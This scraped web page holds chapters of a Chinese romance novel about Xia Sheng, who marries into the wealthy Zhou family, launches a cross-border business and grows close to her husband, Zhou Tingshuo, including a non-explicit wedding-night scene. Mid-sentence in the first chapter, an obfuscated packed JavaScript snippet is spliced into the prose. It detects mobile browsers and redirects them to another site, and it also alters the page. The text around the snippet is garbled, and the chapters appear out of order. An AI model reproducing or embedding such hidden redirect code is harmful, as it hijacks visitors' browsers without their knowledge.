外套被他拿在手上,车门已打开,他绅士地向她伸出手:“走吧。” 转天,安真在群里哀嚎。 【安真:昨天为什么你不带我一起去你们那个晚宴!】 【夏声:?】 一个小网红,就因为昨天拍了参加明箴晚宴的VLOG,今早就冲上热门,涨粉好几万。 不过人家本就是个富二代,跟着家里的关系参加晚宴,随手拍了发到网上,也是歪打正着。 【安真:@夏声你现在可成红人了。】 昨晚,周庭朔俯首为她解困的画面,刚好被那个网红拍到,只是两人远远的侧影,已足够引起轰动。 网友对豪门秘事最好奇,偶然窥到一角,就发扬起超绝想象力。 【周仪娇:我也看到了,好多人说这是王子公主的童话照进现实,嫂子你现在可是全网艳羡的幸福女人。】 【夏声:……】 什么童话,夏声今天有上百页的法语原件合同要看,灰姑娘工作量跟她差不多。 合同审核过,她们才能开工,时间就是金钱,没准她今晚要通宵。 秦莫敲敲门,帮她把订的午饭送进来。 “休息会吧,看一上午了,要不你再分我些,我也能审。” 夏声将合同推到一边,掀开食品包装盒:“不了,你有你的事要做。” 她们本就说好分工合作,何况论法语水平,夏声略比她高一些,审核合同还是严谨些比较好。 秦莫倒了杯水给她,想起早上看到的热搜。 “没想到你们家周先生身价这么高,上次见他本人倒挺平易近人的。” 网友们已将明箴集团发展如何迅速,技术如何前沿,实力如何强大等扒得清楚,很难想象这样企业的掌权人,会跟她们一起分析几个小职员的去留。 夏声刮着一次性筷子上的毛刺,听着这话想笑。 平易近人这词,总觉得是形容某位位高权重的老头。 “也不至于吧,他就是一普通人。” 办公室外,赵文宾正跟许可欣聊这位“普通人”。 “我面试的时候,见过这位周总,虽然这视频离得远拍不清楚,但看身形肯定没错。” “原来咱们老板是富太太,真励志,有这好生活还出来创业。” 许可欣那天没见到周庭朔,只听赵文宾生夸,倒没什么反应。 “嗐,这样咱们更要打起精神,眼看夏总退路这么宽,如果公司只是人家随便开开打发时间的,没准哪天咱们就失业了。” 是不是随便开开,很快他们就有体会。 为了得来不易的首单,他们公司整忙了半个多月。 从签订合同,调整产品,到联系工厂,催产样品,再到跑海关手续,每一步夏声都亲自盯着。 半个月后,总算进入生产周期,只要不出意外,合同就能按时交单。 夏声在电脑上发完确认邮件,靠在椅背上放空。 这几天,她几乎每天只睡五个小时,有时不是没时间,而是脑子里事情太多,睡不着。 刚闭了会眼,听到敲门声。 等睁开眼,韩子弋人已经到眼前。 她抬起腿半坐在夏声办公桌沿上,显然有事要说。 “有个急单,国内的,接不接。” 是一个艺术馆的委托,想做些展品周边,数量不多,质量要求还高。 算下来其实赚不到什么钱。 夏声考虑一会,点头:“接。” 其实是韩子弋朋友的私人艺术馆,本来就是托她帮忙,没想到夏声这么爽快就答应。 “你要知道,光打板定样,还有沟通形式就够费事,他还只定那百来件,真不赚钱。” “主要是国内单。” “我知道啊。”夏声退出电脑屏保,“但有单做总比闲着好。” 她让韩子弋把对方联系方式发来,自己先沟通一下。 顺便不忘解释。 “这个艺术馆我知道,前两天刚公布了下次主题展时间,他们还有海外巡展对吧?” 如果这次合作愉快,下次海外巡展,也可以找她来合作。 那么她们的产品就又多一次直销海外的机会。 新公司,很需要产品去打开市场。 韩子弋快速敲了两下桌面,挑下眼皮。 “你脑子动得倒是快,放心,这事我帮你记着。” 其实有韩子弋从中搭线,产品形式还有美术方案都不必担心,夏声只要保证实物符合预期。 下午,夏声忙得忘了时间,直到周庭朔电话打来,才想起晚上要回西苑吃饭。 前两天,周灵熙说想她了,正好周庭昀也想见她一面。 自过年这个大哥回家,似乎下定决心振作,不准备再回疗养院虚度时光。 她接起电话,同时关闭电脑,拿包下楼。 “我再过半小时到,不好意思没看时间。” 周庭朔最近也很忙,这会同样刚从办公室出来。 “不急,我们应该前后脚到。” 他们的工作地点正好在城市两个方向,往西苑去倒是距离差不多。 “对了,晚上如果妈提了什么话题,你不好回答就我来说。” 夏声刚上车,手机连上蓝牙就听到这么一句。 “什么意思?” 最近薛宁玉已经旁敲侧击他很多次,翻来覆去无非说起孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083773|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的事。 原本她是不催生的,可看着周庭昀回来后,周灵熙日夜陪伴的样子,又觉得早点有个孩子,对他们夫妻也是好事一件。 果然,晚上吃饭没绕过这个话题。 周庭昀一直听周灵熙说起这个小婶婶,今日见面便先道谢,谢她帮忙照顾他女儿。 他跟周庭朔长得有些像,只是轮廓更柔和些,即使坐在电动轮椅上,依旧彬彬有礼很有风度的样子。 夏声笑着回复:“大哥客气了,熙熙这么乖,我很喜欢她。” “是。”话题到这,薛宁玉忍不住开口,“小孩子就是很招人喜欢。” “听说声声最近公司挺忙的,学校现在没课了是吧?” 她们已经是最后一个学期,除去交论文和准备答辩,基本不必回学校。 “嗯,学校已经没什么事了,最近都在忙公司的事。” 薛宁玉动手盛了碗汤递给她:“这几天我瞧着又累瘦了,办公司这么辛苦,也该休息两天。” “你说庭朔也是,总那么忙,声声喜欢孩子,你都配合不上。” 嘴里的汤还没咽下,夏声呛了一口,差点喷出来。 转头对上周庭朔沉着的表情。 他给她一个安定的眼神:“妈,这事跟忙不忙无关,只是我们现在还没考虑。” 薛宁玉白了自己儿子一眼。 “你也该考虑了,老大不小还当没事人一样,你看你大哥比你大六岁,熙熙都八岁了。” 主位上,一直没插言的周老爷子点头:“是,该考虑了。” 默默喝汤的夏声没敢开口,她自己才刚要毕业,完全不想马上就生个孩子拴住自己,但这话她说不合适。 倒是旁边的周庭昀帮忙解围。 “妈,就别拿我作比了,我又不是什么好例子,我看他们现在挺好,年轻人忙事业才有拼劲。” “不像我,时间都荒废了。” 周起岩今天恰巧不在家,要是听见儿子说这样的话,大概又要冷脸。 但薛宁玉还是心软,知道话题触到他心头,也就不再多说。 这事就此揭过。 晚上从西苑离开,夏声没忍住问周庭朔。 “我们好像没讨论过这件事。” 他靠坐在旁,支着额角,问:“什么事?” “什么时候要孩子。” “你先想好前面的问题。”他视线递来,“你想要孩子吗?” 想要吗? 从嫁进周家,夏声就没把这个问题当做一个可选项,只默认什么时候要是她可以选择的。 “可以不要吗?”她不确定,“我的意思是,你们家的产业,总要留人去继承,爸妈爷爷会同意吗?” 车子穿行在路灯下,一明一暗的光影落在他脸侧,让她很难看清他的表情。 空气安静几秒,他的声音平静无波。 “你首先是自己,其次才是我的妻子,至于其他更是不必过多考虑。” “所以这件事,你先要问自己,你想要吗?” 他放下手肘,靠向椅背,视线落在远处。 “况且,周家又不是没后,熙熙已经八岁,再过十年想接手什么不可以?” 也就是说,在他眼里,她没有必须生的说法,家族产业也没有必须传给男性。 身为女孩周灵熙同样可以继承,可以掌权。 此刻,看清这些的夏声心中有了答案。 如果是面对他,那“是否要”这个问题的答案,可以是肯定的。 只是不会是现在。 18-20 第18章 第18章浅尝 卧室柔缓的灯光映得他眼神幽暗。 夏声幅度极小地咽了下口水,绞尽脑汁不知该怎么办。 “你,都看见了。” “嗯。” 恨不能立刻找个地缝,为什么她不会时光倒流。 夏声眼神闪烁,飘忽不定,就是不敢看他。 “你别当真,我没有那么想过。”她声音愈发低下去,“也……不用验证。” 解释太过苍白无力,连她自己都不信服。 他俯身过来,低低喊了声她的名字:“夏声。” 惯常清冷的声音,此刻像黑水晶上洒了盐,研磨出清晰的纹理。 “看着我。”一句话,像是命令,更像蛊惑。 夏声视线寸寸流转,直到对上他沉黑的眼睛。 完美的脸部线条被灯光柔和了边界,他的眼眸,是掩在轻纱后的星河,朦胧闪烁。 下一秒,星河的光芒在她眼前放大。 柔软微凉的触感落在她的唇角,一触即分。 接着是第二下,第三下。 由轻到重,反复琢磨,仿佛眼前是一道需要细细品味的甜品。 一切发生得太过突然,夏声睁着眼,看着抵在她鼻尖的,他的鼻梁,默默屏住呼吸。 放在身侧的手忍不住收紧,她紧张到半分不敢动。 大概几秒钟,他略带笑意的声音落在她耳侧。 “你要一直睁着眼吗?” 她愣愣出声:“啊?” 略微启开的唇瞬间被他捕捉,这一次,不再是浅尝辄止的触碰。 双唇相抵,不留一丝缝隙。 呼吸渐渐乱了节奏,按在她手腕上的手,不知何时穿 进她的指间,与她十指紧扣。 原本微凉的唇,此刻带着灼人的温度,吮着她的。 一寸一寸,不放过任何角落。 夏声的脸已经热透,胸腔里的心仿佛要从发紧的喉咙里跳出来。 闭着眼,耳边是压抑的喘息,夹杂着水声,吮吸声,不断刺激着她的神经。 像是终于忍不住,她喉咙里溢出一节模糊不清,意味不明的气声。 而她的反应,恰似撒向火堆的助燃剂。 周庭朔短暂的离了她的唇,接着便是更汹涌的进攻。 一切好像都失控了,夏声只觉唇瓣发麻,脑子发木,说不清身体里升起的浪潮,是欢愉还是害怕。 手不自觉抵上他的胸膛,想要用力推开,又被他只手按住。 身上的被子早已不知滑落何处,两具身体紧紧相贴,直到夏声感觉到他身上某处明显的变化。 接触的身体部位像是被灼烫,理智中的羞怯钻出来。 终于得了间隙,夏声略微推开他,匆匆缓口气。 “周庭朔。”她的声音急促,隔着喘息。 他低低应了声,撑起身体,染上欲色的眸子看着她。 灰色枕头上,她的长发凌乱地散着,周庭朔眼神温柔,抬手一点点帮她捋顺,也慢慢捋顺着自己的呼吸。 随后俯身,在她额上落下一吻。 “今天的验证,暂时到这,你早点睡,我还有些事要处理。” 他翻身回去,略微整理下衣领,不忘将散落的被子给她盖上。 对上夏声染上水色的眼睛,他甚至能语气平稳的说一句晚安。 卧室门开了又关,夏声面对一室安静,傻眼。 什么意思。 就……到这了? 胸口躁动的心跳还没平复,夏声坐起来,手背贴着脸颊降温。 想不通,她不能理解。 正常男人会在这个时候喊停吗? 不过至少,她确实验证了,他身体应该没问题。 客房里,冷水澡冲了两遍,身体冷静下来,思维却没有。 周庭朔坐在扶手椅上,点开手机,订购完需要放进床头柜的用品。 几分钟后,他回到书房,继续白天落下的工作。 已近期末,夏声的课少了许多,大部分人都挤进图书馆,开始考前突击。 寝室几人每天都在群里呼唤夏声回归,毕竟学霸伴学,心里有底。 周灵熙昨天也被周仪娇接回去。 美其名曰:别耽误他们二人世界。 哪有时间二人世界,自那晚后,周庭朔时间表又回归到早出晚归的节奏。 她一个人在家,复习进度总是慢,索性包一背,回了学校。 家里的福宝尽情在她卧室撒欢,她买了定时投喂器,没事可以通过上面的摄像头跟它对话。 还拜托了徐姐每天早上放它出来玩,晚上再把它送回她卧室。 学校里能自习的教室都人满为患,夏声直接抱着书,到体育场那背。 顺便给金楠楠发信息,告诉她自己在这等她。 遇到陈远泽时,夏声有种恍如隔世的感觉。 算起来,两人已有两个月没见。 陈远泽带着电脑,显然是刚刚复习完出来,见夏声独自坐在阶梯台上,走过去打了招呼。 他穿着白色羽绒服,干净清爽,开口的语气仿佛他们还像从前一样。 “怎么不去自习室学?” 十二月的天气,其实很冷,好在今天太阳很足。 夏声合上书,搓搓有些凉的手指,揣回口袋。 “人太多,没位置了。” 陈远泽看着她的动作,从背包里拿出一张暖宝宝,撕开包装递给她。 还是大一的期末,最后一门课太难,夏声一连泡在自习室几天,实在头昏脑涨,就去了走廊背书。 干冷的空气能让她保持头脑清醒,也是那时,陈远泽递给她一个暖宝宝。 好像就此,每当入冬,他总习惯在身上带着暖贴。 “啊,谢谢。”夏声接过,有些尴尬。 两人沉默看着空无一人的操场,直到他开口。 “我签了京市的offer,我听你室友说,你可能会留下。” 已经明确拒绝过的事,夏声不想再说第二次。 可她也不想让他有别的想法,刚想开口,被他抢先。 “你别误会,我不是因为你,我有女朋友了。” 夏声紧绷的脸色这才缓和:“哦,好,恭喜你啊。” 从图书馆出来的金楠楠远远叫了她一声:“夏声,走啦,去吃饭。” 陈远泽自然地跟她告别,身后的手却握紧暖贴的包装袋。 他的聊天置顶框仍是她,只是真心话已不能诉诸于口。 三食堂的牛肉面冬天最受欢迎,夏声心满意足地喝着汤,听金楠楠说她国考的情况。 “总之,还不错,考上概率有八成了。” 透过腾腾热气,金楠楠的脸上都是满意。 不过刚挑了两口面,她又瘪下嘴来:“不过我真考回老家,以后就跟你相隔几百公里了。” “怕什么,高铁不过两三个小时就到。”夏声安慰她。 “可我就是舍不得你嘛,你是我读书生涯中,遇到最好的朋友了。” “人美心善,之前要不是你帮我整理那么多复习资料,我真的都想放弃了。” 金楠楠从来都自信不足,她总以为自己考上京大是因为运气。 可没有能力做底,再多运气也考不到这个学校来。 夏声拿出纸巾擦了擦嘴,随后故作姿态地抱起双臂。 “那你得感谢我,回头等你考回去,我去你那旅游,你可要食宿全包。” 金楠楠坐直表态:“没问题,欢迎你来,最好经常来。” “到时候给你介绍个我们当地的帅哥,让你嫁过去留下来。” 夏声收拾吃剩的残羹,笑她想太多。 “你别不信,我们那边宽肩窄腰大长腿的帅哥可不少,等我给你精挑细选一个。” 那倒也不用,她家里就有一位,条件只好不差。 时隔半天,夏声又想起昨夜那个擦枪走火的吻。 她抬手摸摸脸,还好没烫。 明箴集团三十二层。 冬日余晖穿过百叶窗,断断续续洒在黑色的真皮沙发椅上。 电脑上最后一份文件审批完,周庭朔摘下鼻梁上的眼镜,揉揉额角。 助理进来,跟他沟通晚上出席宴会的时间。 中途办公室的电话响起,他瞥了一眼,唇线下压,没有接。 这几天人事调动的决定下来,这些电话就没停过。 助理适时插言:“周总忙完这一阵,也差不多圣诞周了,要不休息几天。” 上次老板太太到访,全公司人都传开,老板对其感情不一般。 陪同吃饭,亲自相送,还主动介绍身份,完全不像外传的那般,名存实亡的家族联姻。 “您可以跟太太度个假,换换心情。” 手旁的手机解锁,两人的对话框里,是夏声几个小时前发的信息。 【期末复习,这几天先不回去了。】 【福宝徐姐会帮忙照看,你不用管。】 【对了,中岛台上那盆小叶赤楠记得给我浇点水。】 事无巨细,她都交代到了,唯独没提到他。 周庭朔眼神暗了暗。 又点开电子日历,看了下时间,随后给她回了信息。 【考试周几号结束?】 【元旦前吧。】 算算时间,倒也合适。 他神色和缓,快速回完信息,才继续跟助理沟通接下来的工作。 下午,夏声去了导师办公室一趟,她婉拒了留校直研的资格,礼貌跟老师道谢。 留校直研与她今后的职业规划相悖,她没必要占这个名额。 之前她其实跟安真提起过未来的规划,说她想做跨境文创。 对方说她瞎折腾:“阔太太的日子,好就好在有钱有闲,不用吃物质的苦。” “你家老公能看不能吃,已经折损你半边利益,还不好好享受剩余价值。” 夏声但笑不语,她做得决定,通常一锤定音。 自从回了林家,她户头上也有不少资金,一直压着没动,就是做了这个打算。 甚至,她已经在慢慢铺垫准备。 前几天,她了解了几家相关企业,不算太大规模的套壳公司,她直接接手,再更改经营子项,能省去大部分手续。 不过她还要咨询一下在法律方面,有没有风险。 正想着,周庭朔的信息弹出来。 【知道了,好好复习。】 是回她之前的信息,口吻像她长辈。 夏声撇了撇嘴,腹诽:倒用你安排,以后我也是总,夏总。 第19章 第19章被那天吓到了? 考试周总是慌乱中有序,充实后空虚。 结束最后一科,整个寝室的人都精气涣散,仿佛刚跑完一场熬人的马拉松。 金楠楠将复习资料扔到柜子最角落,摊在椅子上看夏声收拾东西。 “你要出去吗?” 想到一会要去的地方,夏声将羊羔毛的外套换下来,找了件灰色羊绒大衣穿上。 拿上白色提包,她看了眼时间,跟室友们摆手。 “亲爱的们,我有事先出去一趟。” 地标中心区,最高的一栋写字楼。 律所在中间的几层,夏声到的时候,前台问她是否有预约。 不知道手机微信约定,算不算预约? 她正犹豫怎么说,远处的独立办公室门打开,卓冕拿着手机,向这边看了一眼。 “Linda,是找我的。”说完又接着手机里的通话。 前台一转态度,笑容满面地将她引到卓冕办公室门口,随即轻轻敲门,示意她可以进去。 规整明亮的办公室,整体为白色调,银色办公桌上散放着几个案件卷宗。 后方墙上,陈列的是一整面律所和他个人的荣誉。 夏声站在中间,饶有兴味地看着。 卓冕很快结束通话,顺着她的目光向后,不甚在意地评价。 “都是些虚名。” 两人落座在对面的会客区,秘书送来热茶,夏声抿了一口。 “其实,我这种体量的咨询,你介绍下面的人给我就好。” 律所合伙人,不是上千万的案子,想来也不会接手。 但那天她一提及,他就欣然邀请她到律所详谈。 “何况我只是咨询,又不是正经案子。” 她说什么卓冕都耐心听着,还不忘给她添些茶。 见她说完,他才开口:“今天不是咨询,也不是委托,只是朋友聊天。” “创业方面,我多少能给你些建议,比你自己横冲直撞要好很多。” 夏声知道,这间律所是他跟另外两个合伙人一起创办的,从默默无闻到颇有名气,一直稳扎稳打。 他自然能给她建议,建设性的。 “会不会太麻烦,你看起来很忙。” 门外想来请示签字的人来了又走,夏声怕耽误他太多事。 “不会,现在是我休息时间。” 见他坚持,夏声不再推辞,而是快速说明自己的问题,又将了解过的公司资料拿出来,让他一一过目。 哪家架构清晰,哪家风险不明,他一看就有大概评估。 两人聊到暮色低垂,才堪堪结束。 夏声看了眼时间,有些不好意思。 “这么晚了,耽误你太久时间。” 对方并不在意,笑着道:“本来应该留你一起用晚餐,但我晚上还有事,所以……” 夏声赶紧摆摆手,将茶几上散开的资料整理好放进包里。 “不用了,我不打扰了,下次请你吃饭。” “一定。” 出了律所,夏声收到一条打款提示。 是前一阵那个文本翻译的活结款了,只是打款金额却不太对,好像所有的款项都给了她。 本应是她与学姐一人一半。 夏声立刻给学姐打去电话。 “是我特意跟对方说的,上次我主翻的部分出了那么多问题,都是你帮我收尾,这钱本来就该你拿。” “学姐,你说我该拿大头我同意,但你也付出时间精力了,不能一点不拿。” “好了夏声,别跟我纠缠这点小事,你我之间不必。” 这个学姐,就是当年夏声拼命维护的,遭受性骚扰的学姐秦莫。 经过那件事,两人已成为最交心的伙伴。 如今她已经工作,虽然平时联系不多,但偶尔还会一起合作接些私活。 秦莫家境不算好,同原来的夏声一样,努力自律,上学时兼职养活自己。 坚持到现在,她已在京市买了套小公寓,算是落下脚。 夏声了解她的情况,本该约她见面谈的事情,今天恰好通话,就一起跟她说了。 “学姐,我准备创业,想邀请你一起。” “资金方面我出,你人入伙就行。” 创办公司,最好有知根知底,值得信任的人一起,秦莫人品不必说,性格也稳重,是很合适的人。 “我想做跨境文创,主攻法语系地区,你是我的不二人选。” 对面沉吟片刻,没有马上答复她。 “这不是小事,我可能要考虑下。”她顿了顿,“你把你的初步构想,未来规划之类的也发我看看吧。” 如果要跟她一起创业,秦莫势必要辞职,创业本就是高风险的事,她需要考虑夏声非常理解。 “好,晚点我把资料,还有我的想法都发给你。” 挂断电话,夏声抬头,发现自己已走到明箴大厦附近。 律所本也离这里不远,仔细想想,与周庭朔已有快两周没见了。 偶尔她回家看福宝,也都是白天,他不在。 夏声走进电梯,按了三十二层。 窗外是晨昏交接的淡黑,秘书室只剩一人在值守,想来大部分人都已下班。 见夏声到来,本还在摸鱼的秘书立刻起身迎过来。 “太太,您来找周总?” “他还在里面,跨洋电话会议还没结束。” 夏声想了想,决定先在外面等他。 中午薛宁玉给她打电话,得知她已经考完试,邀请她元旦时一起去五台山。 做生意的人,也是图个好意头,年节附近都会去那上香请愿,这回想着带他们一起去。 她没立即答应,第一反应是问问周庭朔。 夏声坐在秘书处办公桌后的空位上,秘书小姐也不便摸鱼,拘谨地守在旁边。 “他后面还有别的工作吗,如果没有的话,你不然也下班吧。” “端茶递水之类的事,我可以代劳。” 老板不走,哪敢擅自下班,秘书连连拒绝。 不过,她看向夏声的眼神带了感激。 没有架子,还会体恤他人,任谁都会留下好印象。 这一等,又快一个小时,夏声坐得腰酸,回头问秘书。 “他平时会议都多久?” “短的可能十几分钟,长的……就不好说了。” 两人正交谈,内线响起。 秘书接起电话,迅速赶往办公室,听过老板需求,不忘提醒一句。 “周总,您夫人到了,已经在外面等了快一小时。” 周庭朔翻阅文件的手停住,看了眼电脑右下角时间,略一沉吟。 “好,知道了。” 秘书出来没多久,夏声便看到周庭朔开门的身影。 两人视线交接,他脚步加快。 “你怎么来了,也不进去。” 他手上搭着大衣,与她身上同色系的深灰,白色衬衫经过一日的满配工作,略微印出些褶皱,恰好贴合他腰身线条,烟灰色西装长裤,衬出修长有力的腿型。 夏声想起金楠楠说的家乡帅哥,大抵也比不过他这样优越的外形。 “正好在附近,就上来了,没想到你开这么长的会,早知道就不来了。” 身后的秘书小姐没忍住,抿嘴偷笑。 周庭朔回头,告诉她可以下班了。 路上,夏声说起薛宁玉的提议,果然被周庭朔否决。 “不必理会,我们自己安排时间。” “你已经放 假了吧。“他问。 基本差不多,一考完试,过几天同学就该陆陆续续回家了。 “正好,我空出几天时间,可以安排短期旅行。” 车上暖气很足,夏声本想脱掉大衣,此刻动作一顿,看向他。 “我们俩去吗?” “嗯。”周庭朔顺手帮她把大衣褪下来。 “有没有想去的地方?” 夏声心里其实有个答案,只不过说出来有些扫兴。 心事一贯在脸上,周庭朔看了她两眼,让她直说。 “我想去看看爷爷,一学期没见他了。” 原来每个假期,她都第一时间打包行李回去,可今年不同。 成家的人,再不好一个人就跑回去。 就连爷爷都提前给她打好预防针,让她假期好好待在京市,跟周庭朔多相处。 “行,我让助理定机票。” 就这么简单? 夏声抬眸看着他:“你同意了?” 他难得的假期,不去好好放松,反要陪她探望老人。 但对周庭朔来说,旅行不过是让自己暂时从工作抽离,去哪并不重要。 况且,他也该陪她去拜访下家人。 “嗯,我尽量安排时间,争取多留几天。” “太好了。” 一路上,十分好心情的夏声,给足了他好脸色。 车子驶进碧水华汀时,她都没提出任何异议,哪怕她本来没计划今晚回来住。 吃过饭,周庭朔照例去他的书房。 夏声将福宝放出来,好一顿揉搓。 小家伙富养了一段时间,已经初具猫猫车雏形。 这会懒洋洋地摊在中岛台上,舔着自己的白手套。 虽然是橘猫,但福宝的四爪和胸前都是白毛,还是人们最喜欢的五粉,也算是靠颜值吃饭。 难得惬意的撸猫时刻,夏声决定看看最近的综艺,放松放松。 只是节目太无聊,沙发太舒服,福宝偎在她怀里又热乎乎。 没看半小时,人就睡着了。 再醒来,已经过去一个多小时,怀里的猫也不见踪迹。 从沙发起身,正好遇到出来接水的周庭朔。 夏声:“看见福宝了吗?” 周庭朔:“送回房间了。” 她哦了声,汲着拖鞋往房间走,刚摸到门把手,身后传来周庭朔的声音。 “你去哪?” 这不显而易见:“回去睡觉啊。” 周庭朔站在主卧门前,压了压眉。 “是那天,我吓到你了?” 哪天?那天! 话题实在敏感,夏声支支吾吾:“没,哪有什么吓到。” 接个吻而已,成年人谁会当回事。 他接着问:“那你为什么不回来睡。” 两者其实没什么关系,但让他这样一说,又有些关系。 头脑风暴半晌,也没想出好借口,门把手都快被夏声攥掉。 那边,周庭朔已推开门,站在那等她。 “进来吧,该睡了。” 第20章 第20章可还满意 不知是不是因为周庭朔看出她的犹豫,这一晚两人楚河汉界,分睡床的两侧。 相安无事。 学校同学陆陆续续离校,夏声也收拾些东西,住回碧水华汀。 她提前跟夏国理说了去看他的日期,老爷子表面说她瞎折腾,心里却高兴得很。 下个学期她们就完全没课了,夏声这几天一直在筹办公司的事。 恰好安真有时间,两人一起约好了去看房子。 看过几处办公间,理想的租金太贵,便宜的条件又着实太差。 忙活一下午,只有眼下这个还算合适。 “你真准备折腾创业啊?”安真还是想劝退她。 夏声检查了下门窗,原租主还留下些办公桌椅,八成新还能用。 “不是我打击你,现在这大环境,创业十有九崩。” 看得差不多了,夏声心里将这定为待选项。 “崩就崩呗,不都说了,二十多岁正是闯荡的年纪。” “难不成等我七老八十,再来从头做起啊。” 眼看这事是板上钉钉,安真也不劝了。 “也是,反正你就算失败,也有得兜底。” 夏声留下中介的名片,两人约好再联系,就拉着安真走了。 她将刚刚拍过的办公室照片,选几张发给秦莫,想听听她的意见。 旁边安真又问她:“对了,你家听说哥知道你折腾这事吗?” 按理说,她应该跟周庭朔说一下。 可是她张罗起的摊子,在人家眼里,只怕跟闹着玩没区别。 想想她又不想说了。 “还没,也不关他的事,我弄我的就行。” “行啊,我们家声声现在也是要做老总的人,就是硬气。” 阴阳怪气的安真被夏声挠了挠腰,笑得不顾形象,差点儿撞到过路的人。 夏声把她拉回来,听她手机响,提醒她接电话。 屏幕显示是祁家骏,安真给了个白眼,将手机扔回包里。 “怎么,好了两天,又闹掰了?” “男人就是不能给他好脸,不然就得寸进尺。”安真慢悠悠说了句,“你家那位同样适用。” 话说得潇洒,实际还是死装。 晚上两人吃饭,安真特意点瓶红酒,一杯接一杯的灌。 喝到第三杯,被夏声拦下,好说歹说劝停,将她清醒的送回家。 那瓶红酒不便宜,安真故意点的,记在祁家骏名下。 剩下的半瓶,夏声可不敢让她带回去,只好自己拎回家。 这几天,应该是为匀出假期,周庭朔仍旧早出晚归,忙得难见人。 客厅里福宝在猫抓盆里犯懒,夏声将前几天到货的电动小老鼠玩具打开,逗他活动活动。 秦莫打来电话时,她刚按住跳上茶几的福宝。 两人聊了近半小时,挂断电话,夏声抱起福宝,狠狠亲了几口。 这几天,夏声一直在跟她沟通创业的事,直到今天她发去办公室照片,秦莫松了口。 “夏声,以后我们要一起加油了。” 终于,这条路,她有伴了。 福宝被夏声亲得喵喵叫,圆圆的眼睛满是不解。 心情极好的夏声看到桌上放着的半瓶红酒,转头跟福宝对话。 “此情此景,是不是应该庆祝一下。” 夏声不太喝酒,刚刚跟安真吃饭时,她都没喝。 但这会儿她雀跃着找出酒杯,满满倒上一杯。 顺便将架子上,那张周庭朔推荐过的黑胶唱片播上。 周庭朔回来时,夏声正捧着酒杯,坐在落地窗前跟福宝絮絮叨叨。 趴在软垫上的猫咪听到开门声,立刻竖起耳朵跑开,仿佛早都听够了她。 她脸上衬着酒晕,神态懒懒,已是微醺状态。 周庭朔脱下大衣走过来:“喝酒了?” “嗯。”她眯着眼,似乎心情很好,还举起酒杯问他,“你要来一杯吗?” 除去平时商务应酬和必要社交,周庭朔鲜少饮酒。 此刻他垂眼看她,却淡淡应了声:“嗯。” 大概因为喝了酒,也可能心情太过好,夏声话格外多,一股脑将她要创业的事,一并说了。 说到找卓冕问了风险和建议时,他眉尾一动。 “怎么不来找我问?” 她挑起眼看着他:“你管理着那么大的公司,哪有时间管我这些事。” “况且,你也瞧不上我这小打小闹吧。” 他坐在旁边的椅子上,微微蹙眉:“为什么会这么想?” “就……”她偏着头,“跟你一比,太不值得一提。” 玻璃窗映出她的身影,单薄纤瘦,盈盈一抹,让人联想到温柔,脆弱。 可提及创业时,她眼里却皆是坚毅与勇气,是蓬勃的生命力。 周庭朔起身,坐到她对面的位置,平视她。 “创业,是从零到一的过程,需要充分的能力、机遇、努力,甚至一部分运气。” “而我,不过是 站在一个相对高的起点,才寥寥有所成就。” “如果要我从无到有,也未必一定比你做得好。” 这话诚恳平实,正正好说到夏声心坎里。 她莹润的唇渐渐翘起,看着他的眼神满是赞同。 “你有时候蛮会说话的嘛,还挺招人喜欢。” 周庭朔盯着她的眼,问:“你喜欢?” “嗯。”她点点头,“喜欢……” 话说出口,对上他幽深的目光,瞬间变了意思。 她觉出不对,草草结束对话,说要去洗澡,有点落荒而逃的意味。 不过九点,她已收拾完毕上了床。 按照周庭朔的作息,他大概还要在书房忙一会。 夏声关掉手机,刚准备入睡,房门被推开。 穿着睡衣的周庭朔款款走进,他头发清爽的散在额前,显然已经洗过澡。 “要睡了吗?”他问。 已经这个姿态了,夏声只能说是。 另一边的被子被掀起,床垫微动后,夏声准备抬手关掉她这边的灯。 周庭朔俯身过来:“我来吧。” 动作间,他却停留在她上方,两人视线在温绻的灯光中相接。 洗过澡的夏声,皮肤净若白瓷,双眸水意朦朦,盈润的唇透出蜜桃般的粉,让人联想到那股独特的清甜。 周庭朔关灯的手又收回来,喉结滑动,轻缓地叫了她一声。 “夏声。” “上次的验证,你还没做完。” 夏声懵着脑袋,缓慢处理着这句话的意思。 直到他缓缓俯下身,在她耳边低语。 “现在时间还早,我们可以继续。” 没给她商量的时间,也没有拒绝的余地。 这一次,似乎有了经验,他不再步步试探,而是直入主题。 夏声的唇被他精准噙住,轻轻啄吸,婉转厮磨。 带着不轻不重的力道,在夏声的呼吸间放火。 她今天本就喝了酒,刚刚好不容易有些清醒,此刻仿佛又醉得更深。 头脑昏昏沉沉,只能感受到他胸膛的灼热,和自己鼓胀的脉搏,心跳重似擂鼓,连带呼吸都急促起来。 原本搭在被子上的手,不知何时扶上他的肩,随着他力道的加重,攀上了他的脖子。 夏声感觉到下巴被轻按一下,唇线微启的瞬间,他的舌已侵入。 两人唇齿间是清新的薄荷香,随后又沁出一丝红酒的醇,二者和谐交融,别有意味。 身体里慢慢升腾起一股陌生的感觉,像干渴的鱼祈求海水,像堆叠的柴等待燃烧,身体某处那巨大的空虚,急需什么来填补。 这感觉折磨着她,同样也折磨着周庭朔。 间隙离开的瞬间,周庭朔垂眸看她,眼前红润的唇像是熟透的樱桃,她一咬唇,更叫人难以把持。 浓重的呼吸再次落下,夏声忍不住轻哼了声,随即羞恼地捂住了嘴巴,甚至眼睛。 周庭朔的动作一顿。 下一秒,室内陷入黑暗。 她听到床头柜开了又关,他好像拿了什么出来,又在她身前停了动作。 “可以吗?” “什,什么可以?” “履行夫妻义务。” 浓稠的夜色里,她看不清他的表情,只能隐约感受到他的轮廓,在静静等候。 都说是义务,如果她说不行,岂不是不讲道理。 “都这样了,你干嘛还问。” 嗔怪的语调。 他甚至能想象出她红着脸觑他的样子。 塑料包装被撕开的声音异常清晰,在忐忑等待的夏声,突然意识到。 上次的骤然喊停,是不是因为没有准备这个。 这夜,夏声觉得自己好像陷入一场梦。 一场不会结束的梦。 